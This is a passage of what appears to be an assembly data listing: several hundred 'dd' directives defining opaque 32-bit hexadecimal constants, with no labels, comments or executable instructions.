dd 0CC1883A8h, 17B0BF26h, 0BD4CD139h, 0A55B007Ah, 788C9932h
dd 0F75A2433h, 62EC00E8h, 61F6722Fh, 90BFD300h, 35CE2744h
dd 709F0053h, 99D6929Ah, 4348FBC3h, 9B790924h, 4230A32Eh
dd 62BBE8B7h, 0DAE40997h, 0F820BD96h, 212C64Fh, 2F055290h
dd 50C55D1Eh, 0A6468CD0h, 0AEB90313h, 75CB571Bh, 0BD00B9C7h
dd 0D0FD60D2h, 749050E6h, 0C43DF301h, 17307ABDh, 19CD8884h
dd 0E4830042h, 58A83Eh, 0C263531Dh, 0E622D857h, 0D9B0D600h
dd 234372C1h, 0B7B9C0B3h, 0D26BE408h, 8B03E603h, 0E01FCCF1h
dd 3AB00Dh, 5A9227C2h, 0DA76BFE2h, 575E1C00h, 787F09FAh
dd 9CDE131Bh, 0B9400096h, 54D751B3h, 80FAED24h, 3AAF7F00h
dd 74AB017h, 0E2F438B7h, 6820B934h, 0FDB3DE21h, 0DFF12301h
dd 5613021Dh, 0F7743E8h, 95B2E073h, 0EFCD6680h, 760012F1h
dd 85F30754h, 7E2364h, 15D7FD04h, 9A4B080Bh, 7A8C8709h
dd 0F87108F0h, 274C9884h, 0D13D2307h, 0F058F99Bh, 64946BB8h
dd 41024A11h, 62A3C4B6h, 54179879h, 5A14C202h, 79DC7864h
dd 46A50A43h, 86F4990Ah, 7C7D772Ch, 0A2D5D300h, 44EE9D6Bh
dd 0EB750008h, 1BA119D2h, 68C12AB7h, 66F23301h, 928BFCh
dd 3E4A35EAh, 9663BCC5h, 0ADFD900h, 8C4FD65h, 0AB0C008Eh
dd 2FE7977Ch, 0D30068E3h, 7E8A04E5h, 2C9957B3h, 8FD42450h
dd 0F7008FC3h, 96E40955h, 34D4300h, 163C579Bh, 346A00AEh
dd 95B7C42Ch, 280039E8h, 89CCCD9Ah, 0C71BCA77h, 206BAE11h
dd 0C3EE26FCh, 0A9E64407h, 67608E39h, 61D16CCh, 9B1CE83Ah
dd 0C5007133h, 0B85AC879h, 7F017Bh, 0EDB6A0C2h, 2655A6FEh
dd 9DC30407h, 0E1104B8Fh, 9A3521Ch, 4C40F05Ch, 0AC5104C0h
dd 6BC8CE00h, 8AE6EE8Bh, 30A0071h, 1E2554A6h, 450E35C1h
dd 0C09E593Eh, 0E17AF3F9h, 9C1407E5h, 2032BA02h, 0D74F9B1Fh
dd 0EA2F3704h, 0A3012210h, 0F9259396h, 0A538DC05h, 8AFB2715h
dd 681D04DCh, 0FCC02E6Eh, 1E524083h, 818295FEh, 0B3F810C1h
dd 6CB434D9h, 0E62EE300h, 3A606711h, 69AA0079h, 0D0F4133Eh
dd 52001AC9h, 0ED597EBBh, 3E3C0B9Fh, 4BB1C2h, 8E24A55Ch
dd 281FBC30h, 0EB98F7ABh, 901F0159h, 8BAA0388h, 0E02361E9h
dd 898E06F8h, 8190F09Ch, 40007320h, 0AB2332E0h, 0B438BE87h
dd 0D4A90738h, 42109097h, 0FC0095DAh, 0EBA7EC53h, 90BAFF66h
dd 0D11504B5h, 0C02A91C0h, 0FB3FA6BCh, 4EB79900h, 5FC88A0Bh
dd 0DC741D1Ch, 4A118473h, 3024C034h, 320965DEh, 64035389h
dd 0B59140C4h, 3E19AA80h, 3201D205h, 4EA9F5C4h, 3C28BCE0h
dd 689800BCh, 0AF641E3Eh, 0CD4B30h, 0AD065480h, 7E84BE28h
dd 0F152F8CAh, 8F0C56D2h, 88462901h, 9B3D19FFh, 36FC021Fh
dd 0C02A4A14h, 0CF635CAh, 34A12566h, 320A9370h, 5804538Ah
dd 0BD206A90h, 97C5CD25h, 0C0919CC0h, 3FA7A66Ch, 0C83AD48Fh
dd 7F160F78h, 64FB498Ah, 2BA319A8h, 0E10971FAh, 0AA5A3046h
dd 347E4703h, 0A769F624h, 40A1986Ch, 33000FA8h, 5EB84820h
dd 0F8A2C59Bh, 0C9BFE8E0h, 8F82E449h, 0F45E3850h, 0BC2A89h
dd 0CCDDEAE4h, 0FCBB00F3h, 5B9FD402h, 0C303CDBEh, 0A7B10432h
dd 0F0D1A054h, 78C631E0h, 81919251h, 1062A808h, 0B9F0B23Fh
dd 0B080A853h, 0D8F60F0Eh, 0AAC1FC2Fh, 0CC6A9141h, 77001B7Dh
dd 66B8AD26h, 6F349CCAh, 190AC872h, 0D11119FCh, 4E3720A9h
dd 0EC2F51C0h, 1C4533Dh, 3150B410h, 40C264F8h, 2D52A9C0h
dd 77CA7400h, 0AA8E2A62h, 1A7E06B1h, 6E6D0553h, 344BB8FEh
dd 0D0030CAh, 6425EFCFh, 51EE724Ah, 335A38h, 17CB6A83h
dd 128E722h, 0C1972D95h, 4730512Ch, 43EE5050h, 127ED867h
dd 0D18FBD3Ah, 18352030h, 0B8F9EC05h, 0C12DC2Bh, 78D6B0B4h
dd 51080FE4h, 44832B07h, 23B8F7FBh, 300401A5h, 53A3F18Ah
dd 0A360FC3h, 0DE2CB870h, 711124h, 0FEC36488h, 2837F8CDh
dd 0C51BBh, 0F532EC5Ch, 0E1759A67h, 1D798901h, 0BACEDCE8h
dd 28820F21h, 63C5AE94h, 449A7360h, 892EC8F9h, 0C1815400h
dd 3A5AD0D6h, 0B39600EEh, 6FC3ED58h, 0AE000964h, 0B42BE915h
dd 1C478Eh, 0A267D1Dh, 0B38C2EF7h, 286D4900h, 16BD1B14h
dd 1D3701EEh, 2147AF89h, 0F511C02Ah, 0F709E61Dh, 0EEE3CC40h
dd 627007BEh, 59F6718Ah, 0D60497h, 1AA36587h, 0F70D4D42h
dd 5100A2F8h, 0D7407C4Eh, 378249h, 92C75FEDh, 8342FD10h
dd 59F41613h, 29503B0Ch, 26814435h, 846F9444h, 4251A622h
dd 95447D21h, 6C22845Bh
dd 110D4253h, 47219783h, 9057A908h, 9B7A84F9h, 4E153344h
dd 0E5217160h, 909FB708h, 917A8F1Fh, 8D08D121h, 840B90A6h
dd 0BD486480h, 0FA85D41h, 1114F701h, 0A912654Bh, 24DA1E11h
dd 669E21E3h, 35109512h, 8CF89ABh, 816844CEh, 7B94488h
dd 985E18DCh, 7E7D90FBh, 99005417h, 0B46F3261h, 8F5343h
dd 1CCF54Ch, 0EEECD0E4h, 0DF00400h, 2C0E23C3h, 2B4001A4h
dd 66DB7E44h, 0F88D4087h, 3C1DE2A1h, 4D80D7BBh, 0C825E9AAh
dd 985D00C0h, 0DDE443F5h, 7A01CF0Ch, 17775C4Bh, 0FD60D635h
dd 0F840026h, 0A11CE0B5h, 0D5055DCEh, 0EFF3DBBBh, 0F6889EC0h
dd 0EA21C085h, 0B083BA4Ch, 1A1D5100h, 0E702953Dh, 0CA5902B4h
dd 3CE8636Bh, 293A4840h, 2CEF993Ah, 0A400E975h, 6D316A85h
dd 71E7726Fh, 76900019h, 0EBAC3A96h, 0B9010F2Fh, 6923604Ch
dd 55C435E7h, 0DBBA0079h, 9B6771Dh, 8F38406Fh, 37D38C3h
dd 0FFE8E35h, 327811EBh, 0DD5D0FE9h, 60C66FB7h, 0AF5A604Dh
dd 1C7E7476h, 5C117FEAh, 50817AF6h, 0BBC86594h, 3F3BF0D3h
dd 6E064C00h, 77272A61h, 940A07ADh, 8016C0DBh, 1A496455h
dd 86894701h, 8E171129h, 986990E7h, 855A002Dh, 0EFF14807h
dd 53032654h, 0FC51677Dh, 0F8EA90D6h, 0F4B50105h, 9DD7615Dh
dd 0BEDC40Dh, 41C58900h, 0B6D158E3h, 54D20E69h, 0FC86B2CCh
dd 9800FADAh, 0D574B7F9h, 0FE9747h, 2AAD9605h, 3A042B03h
dd 9C4A1528h, 0F45E3100h, 0CC1E4E42h, 0C2460309h, 49ABD09Ch
dd 943F200Eh, 72FF80D3h, 0D915Dh, 0A0566DBAh, 2A36DFF5h
dd 0AC0CF0FCh, 896BDBAFh, 0FFC30087h, 2FE3B244h, 0A72CC1BAh
dd 3F05BCE7h, 0B80F1334h, 0FA9160D0h, 2B0A0E9h, 0CC860919h
dd 0E4802535h, 74B4050h, 27D8711Fh, 875B340h, 97A0A6h
dd 0B574C729h, 0D255E647h, 0A2645Ch, 0EBA49E6Dh, 5B3106h
dd 0FA5832C9h, 0C00A8A63h, 0CA1C8EF0h, 41405C79h, 72E047F3h
dd 82DC1D5Eh, 241580F7h, 91504A78h, 80FD6439h, 0CBF8628Dh
dd 0CD2B5Ah, 0E92FB86Fh, 1C8A5951h, 1D132D1Fh, 932A08C0h
dd 0F6DFFD22h, 24040035h, 34F54A9Bh, 570005ACh, 0C86762B0h
dd 7708E23Dh, 4D98E09Eh, 61CCC17h, 45F7CE33h, 5B0C4623h
dd 9000807Ah, 74A41987h, 76869502h, 0E6E0254h, 0C958E1CBh
dd 8AC20443h, 0C08BD885h, 8DFA4864h, 96428F00h, 0B4533162h
dd 0FCC16073h, 46E0D587h, 741279B8h, 400D904h, 83A77399h
dd 6B168075h, 0E00094F6h, 8D9C9D3Ch, 0E286DCF2h, 0E2EA69h
dd 63AE27BDh, 19C36885h, 30466102h, 4066B565h, 0B76208h
dd 0D90CC1A1h, 0EEE9E3C3h, 0AF8E1600h, 291DCE10h, 3BF9790Eh
dd 6002EB8h, 79546423h, 55E48096h, 0F3188A0h, 4CAD1B1Dh
dd 6BCC39C3h, 87E8E8D3h, 37003B6h, 239198A1h, 7E0D61F0h
dd 2D3DD400h, 4E5EF56Bh, 7D12003Fh, 9A2F206Ch, 0CA001484h
dd 73A836D3h, 78E266h, 208E9B9Fh, 33D67CBEh, 3D4BD49h
dd 1F8D7E50h, 582207F4h, 899E9Dh, 0AF4575BAh, 0B03A6D77h
dd 418382C2h, 9862E5A6h, 5C0947DCh, 2A01D873h, 0B252884Bh
dd 3378C0F1h, 0CC4FF000h, 0D989821Ah, 6EBCA0DBh, 7E6B001Dh
dd 509B4AB7h, 0B5006720h, 4BC34CEFh, 3940CF8Ch, 47808E6Dh
dd 0AEDD08CAh, 0A274E9E6h, 8224EA01h, 0D5AB8544h, 0C409E8h
dd 0B729F020h, 646DC93Eh, 0BAF54Ch, 26C82A57h, 1F9E02D9h
dd 10E3F7h, 70B92919h, 0B6003B78h, 0F00B0C48h, 73D4FADAh
dd 0B817000Fh, 800E272Ch, 6C0592BDh, 54C6748Ah, 0DE61D000h
dd 0FC7CDD4Ah, 9AFC0369h, 0B61886A3h, 0D133A198h, 53C16800h
dd 4E3D906Ah, 5D6E0004h, 7E8F243Bh, 0AD00420Fh, 0C960F09Bh
dd 44FB44B3h, 12749603h, 8B9C9F03h, 0F7BE0D02h, 807F4351h
dd 0E22BFC30h, 0BFABDh, 9830B26Ah, 4A0CEF9Fh, 33840A01h
dd 6337B781h, 1E451CE4h, 0BB1461FAh, 231255B8h, 0C8E4019Eh
dd 0D48F74D4h, 3D007D4Fh, 487784CDh, 3BF543D7h, 549D6AF3h
dd 2DAC65h, 9149F67Fh, 0C2012090h, 0DF41AF78h, 0C420CC5Bh
dd 0CF10143h, 0D40A762Ah, 6FB07073h, 45088D00h, 64276C8Ah
dd 445200A9h, 5F35C580h, 1700E09Bh, 2178BB7Fh, 10D5F9h
dd 31C318FBh, 4F973A1Ch, 0B9583B3Fh, 0AA70826Ch, 0C0829107h
dd 44CE24D4h, 5B07110Dh, 7C1AF99Ch, 0B6660980h, 257918h
dd 1CFBBF90h, 0ACA53D7Eh, 2B0FE007h, 86A76D03h, 0EBE22C80h
dd 7FE91CA2h, 0BC63407Eh, 37C2795Dh, 0E1805F00h, 0C8B1AE20h
dd 0E0E600B2h, 7656698Ch, 0DB009BCBh, 31244ECh, 8FD858h
dd 22B17B97h, 0F4CA19B4h, 1B923AC0h, 16B7E9Ah, 8D8F2E72h
dd 0C831B54Dh, 0A1C74DBh, 0D40032C4h, 0F6D6E54Ch, 29B3E5Bh
dd 113F2600h, 0A152A3ACh, 0B21EFD00h, 0F007A287h, 16380025h
dd 709CFF4Fh, 5C000946h, 71E25E19h, 17A6F42h, 0F04AC938h
dd 0CCA3AFDFh, 22037EEEh, 34850E1Ah, 5499B006h, 0B0200091h
dd 0C769E953h, 0E6035752h, 2111E5CBh, 3DEAC0B3h, 7C9600E0h
dd 0DD9239F7h, 7250E871h, 790083ECh, 589E591Ch, 75BD783Ch
dd 0D994003Eh, 0F4AF7321h, 0CF009303h, 0C20D358Ch, 0F82D0F24h
dd 4E310045h, 6C4F6383h, 0DCE78064h, 0A5201BBEh, 0E2381081h
dd 0F69DC021h, 1B87917h, 29B96306h, 349C9891h, 0AB3B091Ch
dd 0CD13809Bh, 3C85058Ah, 0E8B05045h, 7D677D7h, 8EBEEB27h
dd 0BF6250FAh, 0FC00DC69h, 1D15BD12h, 1D4C3B4Eh, 90E11Ah
dd 5E051CC7h, 19C09665h, 0B594D729h, 9086001Eh, 2E11FC0h
dd 560018CEh, 0E8FF7AE5h, 6EE41Dh, 0B66159CBh, 0BADDEA87h
dd 0D862A625h, 0F7F00095h, 12CB0A5Fh, 9207A705h, 0BE6FED15h
dd 0B2753490h, 2C5203C1h, 0EC9B3C61h, 6224CFE8h, 747C2290h
dd 89923500h, 4EF1C78Fh, 7FDE3DDAh, 0A9996C81h, 0DCFB418Eh
dd 0EC0095BFh, 0CCFD24F3h, 467B822h, 0EB652723h, 41A88764h
dd 70D15E1Dh, 0F0B80672h, 60E54Ch, 16CDFFE2h, 0B41F01h
dd 973B1D32h, 7956394Dh, 0EE596D00h, 8A0CEBE6h, 0F80B1EC6h
dd 0CC2C00AAh, 0AE4A04C8h, 6221E500h, 3D5C814Ch, 0EF54000Ah
dd 0A9B6B0BFh, 0CD2E99E2h, 3C81ECA8h, 0AA9F5091h, 0F4FACA60h
dd 60CCFABEh, 0CAC421A7h, 0DF00D486h, 3D1B5FB0h, 18499EFh
dd 0EC511CBFh, 0EBCE0CDDh, 0FD606A0h, 89AF1F02h, 0C0A798BDh
dd 812CD8h, 995029C0h, 0B958365Dh, 0D1CEF800h, 0BE7B2167h
dd 0E3F200A3h, 0C3C027FCh, 0DB09DCD0h, 82C25D4Dh, 408FDA0Eh
dd 330F0h, 28359E24h, 0E1118195h, 0F1DBBB1Ch, 12FBC341h
dd 1020F844h, 0C2861DD7h, 919A80E2h, 0BF0DAE47h, 468EFE00h
dd 0FEF653Ah, 2DB500B7h, 0B3239338h, 9D00A96Ah, 4E4F150Eh
dd 1EBA81DEh, 0C09FFD6Ch, 0AE5B6F8Ah, 0BF00862Bh, 481EDFA5h
dd 830906h, 97AB46CDh, 0A93694C5h, 565ED14h, 0D30101E4h
dd 0B21BFE13h, 4E98E050h, 7B57003Ah, 5D725569h, 9007589h
dd 0A5EF0703h, 0DC27E2h, 0B14802C6h, 926620E4h, 7E3E0101h
dd 3C789C68h, 0DC0BE440h, 0E0B63ECCh, 810CC8AEh, 7118885Bh
dd 17CDC087h, 0BA7DC912h, 4A283000h, 78998BFCh, 367AD4h
dd 2BD30CE3h, 304F6433h, 7EF71332h, 9738831Ch, 1F2879D2h
dd 0E8139F2Ah, 0C22F00ADh, 0C0594298h, 0CA005FDFh, 4FB76EADh
dd 874435h, 17EC737h, 9E750FA8h, 7122EE2h, 2100D5B3h, 66AFD289h
dd 0B1D95B6Eh, 0A5BBC76Ch, 0D8EBF7F8h, 0B00F472h, 1DC708DBh
dd 15EAF18h
dd 492C545Fh, 2050D933h, 0CA7C758Ch, 0A990F100h, 8FAE107Dh
dd 4A2C7B9Ah, 54B40072h, 0A47E67D5h, 173A5100h, 38277182h
dd 0FB9200A3h, 0DCAFC156h, 0C705DD74h, 32180F58h, 25AAEC80h
dd 0CFFC0FBCh, 79AF7DEDh, 11CD8EE0h, 4F00EE68h, 445A0550h
dd 4F76B65h, 0E6A7655h, 307887B1h, 2D9D1CADh, 30E0E302h
dd 0E08B7FEDh, 3F3FE710h, 0B4507847h, 76B90C0Bh, 0D811C28Eh
dd 0A531F9B0h, 186911D6h, 2BCB5A8Eh, 0E4018AC0h, 4F1DF38Dh
dd 1C807DDBh, 55AA9A6Dh, 2A3A0039h, 0F7844074h, 0F2044AA6h
dd 0A4E41B35h, 52D8A0h, 0C0588A90h, 0DFBF4C6h, 3E058FE2h
dd 6E96C38Dh, 49F5F880h, 40A6072Bh, 0F0594A10h, 0C9E01204h
dd 0AC777900h, 5987417h, 2CAFE8Bh, 4084CEBCh, 0D4782F5Bh
dd 80D6F000h, 0EA6A8A52h, 13FF893h, 41C5E1E0h, 30C8C720h
dd 0C312554Fh, 541D1751h, 46B60747h, 0B07F78F0h, 398C136h
dd 9CC9C2B9h, 25405578h, 18A890D3h, 928B039h, 1C55CADh
dd 28D2B8C8h, 73CEB4Ch, 9E568564h, 0FB108467h, 0FE9691A9h
dd 0B37400C6h, 0D9D77043h, 95006A10h, 0FBCEFE19h, 0F4E313D2h
dd 0F52500BFh, 0EB39AB22h, 5276DB4Eh, 809FC03h, 934FB664h
dd 0A8ED042h, 99E6ACh, 1D0B317Eh, 3405DAADh, 0B5DD1C03h
dd 0E17438D6h, 54ECC697h, 7A6C1EB0h, 0A35543E1h, 66D0231Bh
dd 0E70F132Dh, 1F3D296h, 1D02D894h, 786C30h, 0F9D5B9CDh
dd 121EBBE9h, 41DA8602h, 617F7A49h, 0C6700D68h, 1FE67190h
dd 40A68260h, 143B50F8h, 5BFCA57Fh, 7857863Ah, 2E967658h
dd 7000BC9Ah, 6D3C348Ah, 92833879h, 0E1AAE2Ch, 22009562h
dd 35138277h, 0E290AC00h, 0A0D2EE72h, 0D12900E0h, 0BE3AE4C3h
dd 0CB25E5D6h, 0A0A4207Eh, 9FE87h, 237FEFC2h, 3F840D1Bh
dd 937635FCh, 626B5Ch, 67EAAE82h, 517641h, 0E3E4C127h
dd 26A87739h, 5046B100h, 0DF91D271h, 0A7B900DEh, 0F41B9EF5h
dd 83003C9Fh, 41ADC346h, 0B31107h, 0A3A4045Eh, 0B2F2E933h
dd 858610C0h, 721526Ah, 56ED6329h, 590A1046h, 770F67B5h
dd 0C1F2E5DEh, 328F8DBFh, 27B12F4h, 963125D7h, 94519F67h
dd 81294302h, 0C164E088h, 0EF4C009Dh, 7D3FDA4Fh, 0C600A1C2h
dd 0A72AFAE0h, 7033F44Ah, 0D8720019h, 0F7039CB4h, 0B00BD92h
dd 4E7FC17h, 0EEEA1ACCh, 0FF2F00B7h, 432E955Ch, 0C30030F9h
dd 0D114B999h, 904110h, 7E542756h, 8F9AA5Ah, 2AD98000h
dd 703B61DCh, 0DD79C04Bh, 0E5C4CE27h, 0C3064700h, 0BE7FC7C5h
dd 1CBAF668h, 0C1EBF9D6h, 4D0FE4F6h, 0C222E09Dh, 6D1E2A00h
dd 0CF3F33E5h, 0BD8E0F86h, 21C01A7Dh, 0CB24EF06h, 0F0FDD501h
dd 0BC6E9D47h, 0A0D1D4h, 0EB220B9Ch, 436B8101h, 0F6EC807Dh
dd 1300BEF8h, 25CFAEE4h, 0E1C0D2h, 0F1D0C237h, 74E092B9h
dd 8CE5FE00h, 0EA81CFBDh, 50A902F3h, 7D5196F4h, 403BECD8h
dd 66958680h, 896FEFh, 504A9F8Fh, 0F7455904h, 7468F3h
dd 2BD9F01Dh, 5C4C01E9h, 0EF009819h, 0BC3BFCACh, 930012D8h
dd 0CA90534Ah, 0E8E4E579h, 247F9Bh, 0FE81283Fh, 13168752h
dd 0DE216102h, 60B25CF4h, 5A40228h, 9ED9495h, 1620848Bh
dd 848C10D7h, 6ADC700h, 34A67607h, 0B8199C0Eh, 0FCDA5E39h
dd 7C4040C8h, 0CDC00C3h, 65627BD0h, 4C003950h, 0D8DA32F3h
dd 1B124Fh, 93647A88h, 0C08CA2CCh, 1C72860Ch, 2E2AE84Bh
dd 9D70ABB4h, 513B40F2h, 0F7D7ED98h, 4BE60CE4h, 28983F72h
dd 0F2445F3Dh, 80D86138h, 8BDCA0A7h, 0CE13C7h, 45DF77BCh
dd 9DBD412h, 19789CA0h, 0F80478B2h, 0DEB0C257h, 8FC1CC03h
dd 0AFF0E7D3h, 0CF008018h, 0B01E0C2Fh, 3EF94Fh, 5CCC70D1h
dd 79AD8EEFh, 0D00A5FCh, 0EB9B4615h, 5804D906h, 0FC3E6872h
dd 0A5CB3D7Dh, 2D99B400h, 0DC9D485Ah, 7BF66901h, 0B1D59A66h
dd 0BF6AEC40h, 6C900A9h, 0E8E7CBDFh, 910013F1h, 75C517A0h
dd 3F2854B2h, 0D502206Ah, 6C80B41Fh, 0E01B1840h, 3500F0EEh
dd 550FD3BFh, 2BEFA6h, 470A8971h, 672A6B8Ch, 0A4CC241Dh
dd 0C4A8BC40h, 7C9DD16h, 0E6FBEAE5h, 3018E703h, 3EB3561Ch
dd 109F7B02h, 0C6BA79D0h, 0F4BC2028h, 0B87E5005h, 0AB80EE38h
dd 0E28A7FE9h, 7A59006Fh, 0CF7C9054h, 0E20156F9h, 741CDFF3h
dd 0A43831A1h, 5A9E4907h, 139D6264h, 3FB9F860h, 18CF5518h
dd 29C3C8h, 467D48F9h, 0AC1A0E2Ch, 621EF100h, 717224B6h
dd 132A1219h, 0BB1C0315h, 0C0D8E0AEh, 0C36039CBh, 13845671h
dd 594D188Ah, 37FDA0A8h, 0D6890B00h, 0BF43B85Ah, 0D51C05E0h
dd 0C0D99002h, 0C768DA0Dh, 5DEEE00h, 0CC6F44F0h, 1C5EC057h
dd 0FFA616E9h, 7001F092h, 9D400618h, 13C403B7h, 47962EEBh
dd 989903C1h, 27F015D3h, 0B407FB0Ah, 0DBAF859Fh, 62C396A1h
dd 7C549C0h, 0EE3C574Ah, 0C6DD04Ch, 6E38F830h, 6AEA0055h
dd 87C8A4D8h, 445358C6h, 0C56D4C1Ch, 808E5584h, 6A864ACh
dd 37B2F00h, 0E09F1F81h, 593A01E7h, 0D0E69116h, 0DC98FF0h
dd 780257C2h, 0C079BA2Ch, 9063C4h, 0D0E7339Eh, 57476295h
dd 0CAC3751Dh, 9D0B9980h, 5728773h, 71EF8346h, 0EBABC0BEh
dd 8F004440h, 5BFACD16h, 91C0D8h, 6E8C3315h, 67A84725h
dd 5328E007h, 1B712908h, 9B40715Eh, 3FC70D59h, 0A69F0A1Fh
dd 4BE43Eh, 6F63465Ah, 7D4C6175h, 15810B78h, 0B13C800Fh
dd 0D032EDh, 0A5540ED2h, 86722CF0h, 8A4A0D00h, 3683A874h
dd 917FC0Ah, 6693D8E8h, 0F994C460h, 0EC35805h, 0EC80CC0Dh
dd 304FA1h, 62FB4C03h, 6A2ED68Dh, 40816500h, 0C38EFFFDh
dd 9C53002Ch, 0B15C3A5Bh, 6E3E4D47h, 1CBE80CFh, 6FE0A8D7h
dd 54B80016h, 0EE4A0B9Eh, 2498F817h, 3B981800h, 1D922503h
dd 3407DDCh, 0E7FDD0AFh, 0C785F1B9h, 0F47FC148h, 15AE70DEh
dd 69D25300h, 735244B3h, 7B1309D4h, 4040B682h, 9E382075h
dd 9AD3006Ah, 39EE98F4h, 7A7E1C8Ah, 13E7C0DCh, 0C103A281h
dd 0F2503F00h, 8B9EA4B9h, 111E1F4Dh, 1338497Ah, 0A65D3880h
dd 813B9FBh, 80E6D14h, 21884B9Ah, 81DCF934h, 0BDB6A8D3h
dd 7F81C0F2h, 0EA69AC2Eh, 7A9A12Fh, 21133CB4h, 5C33A80Ah
dd 6A7300F6h, 8D6B343Dh, 0D6022A94h, 14EBEF64h, 514CC82Eh
dd 73B9CA99h, 836301A7h, 53E506C2h, 0CFE0A4D4h, 0D85CE31Dh
dd 532F01AEh, 9BF09EE4h, 815B30h, 93EBDE54h, 9709A3A0h
dd 30353C00h, 65A9BD7Bh, 637307B6h, 1E93537Fh, 6CE480FEh
dd 8FABC5BAh, 614D0803h, 0D3E0CF0Ah, 0A9F12889h, 17175A0h
dd 0D7A5C5F1h, 0D9EB5AE4h, 0C69EFC7Fh, 0B1530230h, 22C18262h
dd 717FE405h, 0F600B6E2h, 29D9B93Bh, 5414696Dh, 0EEB780Eh
dd 2A738736h, 9C8F8Ah, 0D695EFF4h, 57003343h, 0E88B60F9h
dd 3DC0DC73h, 0C2800516h, 0C849D068h, 3A1258C4h, 0B0D05AEDh
dd 1CE4B935h, 40556FECh, 73B388E5h, 9B004359h, 0A353FC8Eh
dd 0E666EAA2h, 0C43A01DDh, 571CE330h, 8BF84085h, 0E7034508h
dd 16B97E9Fh, 0F3213FA0h, 0FC2CBA80h, 4495C535h, 0EB9EAC00h
dd 0CF432165h, 5FC70672h, 80170C45h, 9D327F07h, 0A91847h
dd 67642BDCh, 7BE826h, 30919E24h, 84B41286h, 0D41AA31Eh
dd 92F9CA40h, 1540019Ah, 9435C762h, 0DF500809h, 0D529C8C0h
dd 12AA03Fh, 2CA5466Bh, 0CF20D95Ah, 0C9AB0204h, 97C2E7B3h
dd 9056C087h, 2FB51AEAh, 2A604CE6h, 9C4A7719h, 58340068h
dd 355246F8h, 0BE000803h
dd 9918B3A3h, 0EC53DF29h, 0D06F02E6h, 99662CFh, 0FF300070h
dd 0C8C1D28Fh, 7CEF5C4Dh, 10A8FA00h, 76A1E28Eh, 0E4AF7E16h
dd 0F1425406h, 17739896h, 0BA7136h, 3160863Eh, 0E8B4796Ah
dd 0EC0CC7C0h, 63E200A8h, 0EA43231Ah, 7D18757Fh, 4150AFAEh
dd 0C29700EFh, 0E18FA91Fh, 48C93C1Ch, 0FC2E01D2h, 0FD307F72h
dd 9A9F00FDh, 7DC0068Fh, 260115B8h, 6B1302E5h, 0DEFC458Ch
dd 0B7F0E385h, 37A50384h, 3AC366D5h, 0C43486F0h, 0ADD29E07h
dd 41C06FA0h, 0C1D396h, 1614CA54h, 2BF60D28h, 920049FAh
dd 3A4FFB5Ch, 0E66F755Bh, 8C580077h, 4084C788h, 900A733Dh
dd 0A048A67Ah, 2AFF4100h, 0DD5CBDh, 0C37BDC49h, 0A696F865h
dd 0B1138103h, 0F033A188h, 6E1D71h, 5B3D4DE4h, 2F5E6F05h
dd 7C8D2200h, 93AA3F10h, 0E3DA2C24h, 7673001Dh, 9C9F87F2h
dd 400F7F07h, 80099B90h, 0E212D1ABh, 0C37A003Fh, 7DF06133h
dd 0CB3904B1h, 0D6598019h, 4EA809C4h, 79BC002Fh, 0CE98C797h
dd 0AE4DF4DDh, 14E32D04h, 20C3180Ch, 6B3D11AAh, 0D8AFFA02h
dd 68A97870h, 0B6EA3C8Ch, 0BD350BC4h, 0DEB18480h, 0A35854FFh
dd 0E12FC050h, 3BD82A7h, 0C19FF306h, 0B1E5044Dh, 70CFE3ECh
dd 0A8D4AB42h, 0E27B400h, 1181841Ch, 435C007Eh, 360812FEh
dd 9E000472h, 0BD1F8D9Ah, 2623AC7Bh, 80C8EBE5h, 1027BF11h
dd 4500A132h, 70DE4F16h, 135E5F6Ch, 4914A5EEh, 8000991Ch
dd 2DB671CBh, 0DFA4E700h, 0FCC2D228h, 0E3B00045h, 0EA56604h
dd 79037E35h, 0D652AC1Ch, 0F9CCC72Dh, 64A701F9h, 4F0ABC82h
dd 3B91C4DFh, 65CEA4A1h, 20CCC66Ch, 0D95CB10Bh, 3601469h
dd 0D1DDA073h, 0DEC0424Eh, 0D209C037h, 87F8FD61h, 9C10F3CCh
dd 39C456E9h, 1D1281EAh, 8AD44291h, 8872B36Ah, 0C09F110Eh
dd 0E434B8h, 0E7C6CE2Ah, 9A191049h, 0AAAB24BCh, 8CAE0955h
dd 23DAE0A0h, 0DD0EBCD6h, 0E0E77B3Fh, 0D55EEE40h, 8EE400BAh
dd 64BD8DC5h, 8032C0F9h, 609EC0FDh, 3B370C9Dh, 59802703h
dd 0D64BA596h, 0E00D7F6h, 31A717DEh, 0B12B152Ch, 498697Ch
dd 0F612AD82h, 32119303h, 1D6E0094h, 0C1D785DAh, 0EAEE1DE1h
dd 0B94C00Fh, 75ADFD43h, 0FCA0420Eh, 6A1D6060h, 0F6DC17EAh
dd 384A7B38h, 80D8CEE8h, 552AB08Fh, 206A649Ch, 568890h
dd 9CA53ABEh, 0CAC25FE6h, 50D78629h, 68C1163Dh, 64765430h
dd 54FEFAF0h, 66DA0D9h, 0C87F01C2h, 0EE73E829h, 0E9CBFC0Ah
dd 2D8890h, 0F0A2144Ch, 0B37AADh, 440A4D92h, 0E4DDF1C4h
dd 4360A400h, 7403C665h, 783A0493h, 0C1AF9BBDh, 0C6AC5BFCh
dd 0A488B0C5h, 444949F5h, 0D06CD8h, 25DCA174h, 4BBED4h
dd 1F73EA34h, 9C61A59Fh, 2AF51C00h, 604F2606h, 6B8300ACh
dd 56D7ECA2h, 0E126FCFEh, 0E8F5495h, 328E22BBh, 1305416h
dd 33A84B11h, 0C5986012h, 7D13F20Ch, 377110Ah, 17F32CD9h
dd 0A98136ADh, 1B8505Fh, 0B90196F5h, 0F7F81307h, 0A0537393h
dd 0A4EED0BEh, 6B8D0234h, 143F6528h, 0C0A0A44Bh, 0F0088B2h
dd 32F39E33h, 0EB3D69B0h, 1FF4CE0h, 2E77E8ACh, 61F9F259h
dd 0BE20407Dh, 0E301A96Dh, 0DE645741h, 3BC0D30Ch, 20750F84h
dd 3F80A45Bh, 3DFF60CEh, 6F63EC0Bh, 67F8605Ch, 93C9072h
dd 0CF830C18h, 0D450E870h, 75070B94h, 207DECEDh, 3E9F0DC1h
dd 0A2F430h, 0B425A888h, 0D7605145h, 0AF4E920Eh, 2ED42F6Dh
dd 7E412162h, 3874C2A5h, 25A100FFh, 0FBC19419h, 0E02CB344h
dd 0F100C01Ch, 12D909DCh, 0CAC40022h, 27DB3C36h, 14240672h
dd 0AF033064h, 0F885494Dh, 0A4682Ch, 0C08412E9h, 0DB9EF405h
dd 0BED62000h, 3861B7FAh, 3C500096h, 5D718359h, 8F1F5779h
dd 0AC40977Bh, 47E9AF98h, 9F7302D2h, 4E0D6410h, 0AC49476h
